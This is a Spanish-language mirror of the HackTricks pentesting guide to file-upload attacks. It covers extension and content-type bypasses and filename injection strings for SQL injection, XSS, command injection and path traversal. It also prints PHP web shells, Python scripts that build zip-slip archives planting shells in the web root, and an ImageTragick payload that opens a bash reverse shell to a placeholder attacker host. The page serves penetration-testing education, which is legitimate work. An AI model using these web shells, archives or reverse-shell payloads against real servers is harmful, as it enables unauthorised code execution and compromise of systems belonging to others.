Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00

Translator a183cf49b3 Translated ['pentesting-web/file-upload.md'] to es

2023-10-11 21:30:46 +00:00

22 KiB

Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Obtén el oficial PEASS & HackTricks swag
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.

Metodología general de carga de archivos

Intenta cargar un archivo con una doble extensión ejemplo: _file.png.php_ o _file.png.php5_.

Extensiones de PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
Extensiones de ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml

Intenta poner en mayúscula alguna(s) letra(s) de la extensión. Por ejemplo: .pHp, .pHP5, .PhAr ...
Intenta cargar alguna doble o más extensión útil para evadir comprobaciones mal configuradas que prueban si una extensión específica está presente:
file.png.php
file.png.txt.php
Intenta cargar alguna doble extensión invertida útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión _.php_, pero **no necesariamente terminando en .php**, ejecutará código:

ejemplo: file.php.png

Doble extensión con carácter nulo:
ejemplo: file.php%00.png
Agrega algunos caracteres especiales al final de la extensión_: %00, %20, varios puntos...._
file.php%00
file.php%20
_file.php...... --> En Windows, cuando se crea un archivo con puntos al final, estos se eliminarán por lo que se pueden evadir los filtros que verifican la extensión .php
file.php/
_file.php._
Evita las comprobaciones de tipo de contenido estableciendo el valor del encabezado Content-Type en: image/png, text/plain, application/octet-stream_
Evita la comprobación del número mágico agregando al principio del archivo los bytes de una imagen real confunde el comando _file_. O introduce la shell dentro de los metadatos: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
También es posible que los bytes mágicos solo se estén comprobando en el archivo y se puedan establecer en cualquier lugar del archivo.
Usa el flujo de datos alternativo NTFS (ADS) en Windows. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un archivo vacío con la extensión prohibida en el servidor por ejemplo, "file.asax:.jpg". Este archivo puede editarse más tarde utilizando otras técnicas, como usar su nombre corto. El patrón "::$data" también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también puede ser útil para evadir restricciones adicionales por ejemplo, "file.asp::$data."
Carga la puerta trasera con una extensión permitida _png_ y reza por una configuración incorrecta que ejecute la puerta trasera
Encuentra una vulnerabilidad para renombrar el archivo ya cargado cambiar la extensión.
Encuentra una vulnerabilidad de Inclusión de archivo local para ejecutar la puerta trasera.
Posible divulgación de información:
Carga varias veces y al **mismo tiempo** el mismo archivo con el mismo nombre
Carga un archivo con el nombre de un archivo o carpeta que ya existe
Cargar un archivo con “.”, “..”, o “…” como su nombre. Por ejemplo, en Apache en Windows, si la aplicación guarda los archivos cargados en el directorio "/www/uploads/", el nombre de archivo "." creará un archivo llamado "uploads" en el directorio "/www/".
Carga un archivo que no se pueda eliminar fácilmente, como “…:.jpg” en NTFS. Windows
Carga un archivo en Windows con caracteres no válidos como |<>*?” en su nombre. Windows
Carga un archivo en Windows utilizando nombres reservados **prohibidos** como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.

También intenta cargar un ejecutable .exe o un .html menos sospechoso que ejecutará código cuando sea abierto accidentalmente por la víctima.

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}

Si estás intentando cargar archivos en un servidor PHP, echa un vistazo al truco de .htaccess para ejecutar código. Si estás intentando cargar archivos en un servidor ASP, echa un vistazo al truco de .config para ejecutar código. Los archivos .phar son como los archivos .jar para Java, pero para PHP, y se pueden usar como un archivo PHP (ejecutándolo con PHP o incluyéndolo dentro de un script...).

La extensión .inc se utiliza a veces para archivos PHP que solo se utilizan para importar archivos, por lo que en algún momento alguien podría haber permitido ejecutar esta extensión.

Verifique muchas posibles vulnerabilidades de carga de archivos con el complemento BurpSuit https://github.com/modzero/mod0BurpUploadScanner o use una aplicación de consola que encuentre qué archivos se pueden cargar y pruebe diferentes trucos para ejecutar código: https://github.com/almandin/fuxploider

Truco de carga de archivos/SSRF con wget

En algunas ocasiones, puede suceder que un servidor esté utilizando wget para descargar archivos y se pueda indicar la URL. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté en una lista blanca para asegurarse de que solo se descarguen archivos permitidos. Sin embargo, esta verificación se puede eludir. La longitud máxima de un nombre de archivo en Linux es de 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puede descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo burlará la verificación (como en este ejemplo ".gif" es una extensión válida) pero wget renombrará el archivo a "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Ten en cuenta que otra opción que puedes estar considerando para evadir esta verificación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial evite la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se esté utilizando con el parámetro --trust-server-names, ya que wget descargará la página redirigida con el nombre del archivo indicado en la URL original.

De la carga de archivos a otras vulnerabilidades

Establece el nombre de archivo como ../../../tmp/lol.png e intenta lograr una travesía de directorios
Establece el nombre de archivo como sleep(10)-- -.jpg y podrías lograr una inyección SQL
Establece el nombre de archivo como <svg onload=alert(document.comain)> para lograr un XSS
Establece el nombre de archivo como ; sleep 10; para probar una inyección de comandos más [trucos de inyección de comandos aquí](command-injection.md)
XSS en carga de archivos de imagen (svg)
Carga de archivo JS + XSS = Explotación de Service Workers
XXE en carga de archivos svg
Redirección abierta mediante carga de archivos svg
Famosa vulnerabilidad de ImageTrick
Si puedes indicar al servidor web que capture una imagen desde una URL, podrías intentar abusar de una SSRF. Si esta imagen va a ser guardada en algún sitio público, también podrías indicar una URL de https://iplogger.org/invisible/ y robar información de cada visitante.

Aquí tienes una lista de los 10 principales logros que puedes obtener mediante la carga de archivos desde [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889):

ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: XSS almacenado / SSRF / XXE
GIF: XSS almacenado / SSRF
CSV: Inyección CSV
XML: XXE
AVI: LFI / SSRF
HTML / JS: Inyección HTML / XSS / Redirección abierta
PNG / JPEG: Ataque de inundación de píxeles DoS
ZIP: RCE mediante LFI / DoS
PDF / PPTX: SSRF / XXE ciego

Carga automática de archivos ZIP descomprimidos

Si puedes cargar un archivo ZIP que se va a descomprimir dentro del servidor, puedes hacer 2 cosas:

Symlink

Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

Descomprimir en diferentes carpetas

Los archivos descomprimidos se crearán en carpetas inesperadas.

Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de niveles superiores, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.

Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

import zipfile

def create_malicious_zip(file_path, payload):
    with zipfile.ZipFile(file_path, 'w') as zip_file:
        zip_file.writestr("../payload.php", payload)

file_path = "malicious.zip"
payload = "<?php system($_GET['cmd']); ?>"
create_malicious_zip(file_path, payload)

This Python code creates a malicious zip file that contains a payload.php file. The payload.php file contains PHP code that allows an attacker to execute arbitrary commands on the server using the system function. The create_malicious_zip function takes two parameters: file_path, which specifies the path where the malicious zip file will be created, and payload, which is the PHP code that will be written to the payload.php file.

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Para lograr la ejecución remota de comandos, seguí los siguientes pasos:

Crear una shell PHP:

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>

Utiliza la técnica de "rociado de archivos" y crea un archivo zip comprimido:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

Utiliza un editor hexadecimal o vi y cambia "xxA" por "../", yo utilicé vi:

:set modifiable
:%s/xxA/..\//g
:x!

¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo en el sistema:

Referencia: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

Descomprimir con un nombre diferente

A veces, una aplicación bloqueará la carga de un archivo verificando su extensión dentro del archivo ZIP. Si esta verificación es superficial, es decir, verificando el nombre del archivo dentro del campo de encabezado local, se puede eludir haciendo que la aplicación crea que el archivo tiene esa extensión, aunque tendrá otra una vez descomprimido.

Podemos reutilizar el script anterior para crear un archivo ZIP.

import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Ten en cuenta que el nombre tiene un espacio en su interior. Ahora puedes editar el archivo zip generado con un editor hexadecimal y cambiar este carácter en el campo del nombre ubicado dentro del Encabezado del Directorio Central por un byte nulo 00:

# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064  ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064  ...shell.php..pd

Cuando la aplicación verifique el nombre del archivo dentro del zip, el nombre utilizado para esta verificación será el nombre del encabezado de archivo local, pero no si el zip está encriptado (ver la especificación pkzip). El nombre utilizado para almacenar el archivo será el nombre del encabezado del directorio central cuando 7z o unzip vean una diferencia entre los dos nombres. Gracias al byte nulo, el nombre será shell.php.

Cuando se descomprime:

7z e poc.zip
ls
shell.php

Referencias:

https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html

https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

ImageTragic

Carga este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick, 7.0.1-1).

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incrustando una Shell de PHP en PGN

La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evadir operaciones de cambio de tamaño y re-muestreo: PHP-GD contiene dos funciones para hacer esto imagecopyresized y imagecopyresampled.

Lee este artículo: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Archivos Políglotos

Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un GIFAR es tanto un archivo GIF como un archivo RAR. También existen archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.

Los archivos políglotos se utilizan a menudo para evadir protecciones basadas en tipos de archivos. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.

Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.

Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a